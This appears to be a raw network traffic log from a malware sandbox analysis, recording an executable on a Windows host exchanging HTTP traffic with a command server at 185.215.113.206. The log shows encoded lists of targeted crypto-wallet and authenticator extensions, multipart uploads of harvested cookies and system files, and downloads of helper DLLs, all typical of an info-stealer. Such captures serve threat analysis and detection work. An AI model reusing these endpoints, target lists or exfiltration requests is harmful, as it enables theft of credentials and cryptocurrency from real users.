Nov 20, 2024 08:09:01.344445944 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 20, 2024 08:09:01.344458103 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 20, 2024 08:09:01.344469070 CET	372	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 20, 2024 08:09:01.344480991 CET	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Nov 20, 2024 08:09:01.344492912 CET	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
Nov 20, 2024 08:09:01.344508886 CET	792	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Nov 20, 2024 08:09:01.347196102 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFIJEGIDBGIECAKKEGD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 2d 2d 0d 0a Data Ascii: ------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="message"fplugins------CBFIJEGIDBGIECAKKEGD--
Nov 20, 2024 08:09:01.574531078 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 20, 2024 08:09:01.592152119 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFIJJEGHDAEBGCAKJKF Host: 185.215.113.206 Content-Length: 6399 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 08:09:01.592219114 CET	6399	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 Data Ascii: ------BKFIJJEGHDAEBGCAKJKFContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------BKFIJJEGHDAEBGCAKJKFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 20, 2024 08:09:02.325926065 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 08:09:02.634365082 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 08:09:02.856692076 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 20, 2024 08:09:02.856745958 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49729	185.215.113.206	80	1656	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:09:11.073906898 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBF Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 08:09:11.073930025 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 Data Ascii: ------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 20, 2024 08:09:12.273097038 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 08:09:12.383013964 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAEGHIJEHJDHIDHIDAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="file"------ECAEGHIJEHJDHIDHIDAE--
Nov 20, 2024 08:09:13.101928949 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49765	185.215.113.206	80	1656	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:09:18.564021111 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEHDHIEGIIIDHIDHDHJ Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 08:09:18.564145088 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 Data Ascii: ------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 20, 2024 08:09:19.762913942 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 08:09:20.631339073 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="file"------DAAAFBKECAKEHIEBAFIE--
Nov 20, 2024 08:09:21.353622913 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 08:09:22.268069029 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 08:09:22.489622116 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 20, 2024 08:09:22.489696026 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}U
Nov 20, 2024 08:09:22.489706039 CET	1236	IN	Data Raw: 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 51 50 e8 3f 96 06 00 83 c4 1c 5e 5f Data Ascii: Mt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^
Nov 20, 2024 08:09:22.489717007 CET	1236	IN	Data Raw: 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 40 8d 04 3f 83 c0 fe 8d 04 40 89 c1 Data Ascii: T$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$
Nov 20, 2024 08:09:22.489736080 CET	448	IN	Data Raw: 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d e5 c1 e0 10 c1 e1 08 09 c1 0f b6 45 Data Ascii: uSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7
Nov 20, 2024 08:09:22.489747047 CET	1236	IN	Data Raw: 5f 5b 5d c3 55 89 e5 53 57 56 8b 75 08 85 f6 74 3a 8b 7d 0c 8b 1e 85 db 74 24 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 50 00 08 00 83 c4 0c 85 ff 74 09 5e 5f 5b 5d e9 da ff 07 00 5e 5f 5b 5d c3 cc cc Data Ascii: _[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGHtIUuu@t0t,GHjShv1^_[]USWVLU01E}
Nov 20, 2024 08:09:22.489758968 CET	1236	IN	Data Raw: 8b 45 ec 8b 4d f0 89 08 31 db 89 d8 83 c4 08 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 8b 75 08 8b 3e 8b 46 04 8b 48 10 ff 15 00 80 0a 10 57 ff d1 83 c4 04 8b 3e 8b 46 04 8b 48 14 8b 58 1c 83 c6 0c ff 15 00 80 0a 10 53 Data Ascii: EM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vhuHuVuSO;upIS
Nov 20, 2024 08:09:22.489769936 CET	1236	IN	Data Raw: 00 00 00 89 f7 8b 4d f0 31 e9 e8 dd f4 07 00 89 f8 81 c4 08 01 00 00 5e 5f 5b 5d c3 55 89 e5 83 7d 0c 00 74 10 68 02 01 00 00 ff 75 08 e8 6f f6 07 00 83 c4 08 5d c3 cc cc cc cc cc 55 89 e5 56 8b 75 1c 8b 45 14 39 f0 73 14 68 03 e0 ff ff e8 3b f6 Data Ascii: M1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}$7$
Nov 20, 2024 08:09:22.489782095 CET	1236	IN	Data Raw: 66 0f f4 cc 66 0f 70 c9 e8 66 0f 62 f1 66 0f eb f2 66 0f 6f d0 66 0f fe 15 f0 20 08 10 83 c8 08 66 0f 6e 0c 07 66 0f 60 cb 66 0f 61 cb 66 0f 72 f2 17 66 0f 6f 2d e0 20 08 10 66 0f fe d5 f3 0f 5b d2 66 0f 70 e1 f5 66 0f f4 ca 66 0f 70 d2 f5 66 0f Data Ascii: ffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMf
Nov 20, 2024 08:09:22.489865065 CET	1236	IN	Data Raw: c9 8b 45 f0 0f b6 14 08 00 d3 0f b6 f3 8b 45 f0 0f b6 04 30 8b 7d f0 88 04 0f 8b 4d f0 88 14 31 00 d0 0f b6 c0 8b 4d f0 0f b6 0c 01 c1 e1 08 03 4d cc 8b 45 e8 8b 55 ec 01 d0 83 c0 03 0f b6 c0 8b 55 f0 0f b6 14 02 00 d3 0f b6 f3 8b 7d f0 8a 34 37 Data Ascii: EE0}M1MMEUU}47}4E0UMUU}47}4M1uU3UMEM}}Eu;uUM}E
Nov 20, 2024 08:09:23.353214025 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 08:09:23.574858904 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 